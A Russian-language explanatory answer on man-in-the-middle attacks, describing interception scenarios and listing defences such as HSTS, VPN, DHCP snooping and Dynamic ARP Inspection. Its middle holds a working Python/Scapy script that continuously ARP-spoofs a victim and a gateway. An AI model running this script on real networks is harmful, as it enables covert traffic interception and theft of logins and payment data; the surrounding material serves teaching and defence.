Ответ
Атака "человек посередине" (Man-in-the-Middle, MITM) — это тип кибератаки, при которой злоумышленник тайно перехватывает, а иногда и модифицирует коммуникацию между двумя сторонами (например, клиентом и сервером), которые считают, что общаются напрямую.
Типичный сценарий атаки:
- Перехват трафика: Атакующий позиционирует себя между жертвой и целевым ресурсом (например, через поддельную точку доступа Wi-Fi, ARP-спуфинг или компрометацию маршрутизатора).
- Дешифровка (при необходимости): Если трафик зашифрован (HTTPS), атакующий может использовать методы для подмены сертификатов.
- Просмотр/Изменение данных: Злоумышленник получает доступ к конфиденциальным данным (логины, пароли, платежные реквизиты) или внедряет вредоносный код.
Пример реализации ARP-спуфинга (подмены ARP-таблицы) с помощью Python и Scapy:
from scapy.all import ARP, send, getmacbyip
import time
def arp_spoof(target_ip, spoof_ip):
"""
Отправляет поддельный ARP-ответ, чтобы "убедить" target_ip,
что MAC-адрес spoof_ip принадлежит атакующему.
"""
target_mac = getmacbyip(target_ip)
# Создаём поддельный ARP-пакет: говорим target, что шлюз (spoof_ip) это мы.
spoof_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(spoof_packet, verbose=False)
# Пример вызова: перенаправляем трафик жертвы (192.168.1.100) через атакующего
while True:
arp_spoof("192.168.1.100", "192.168.1.1") # Жертва -> Шлюз
arp_spoof("192.168.1.1", "192.168.1.100") # Шлюз -> Жертва
time.sleep(2) # Поддерживаем атаку, периодически отправляя пакеты
Меры защиты от MITM:
- Использование строгого шифрования: HTTPS (с HSTS), VPN, SSH (с проверкой отпечатка ключа).
- Проверка сертификатов: Внимание к предупреждениям браузера о недействительных сертификатах.
- Сетевые механизмы: DHCP snooping, Dynamic ARP Inspection (DAI) на коммутаторах.
- Аутентификация на уровне канала: Например, использование WPA2/WPA3 для Wi-Fi.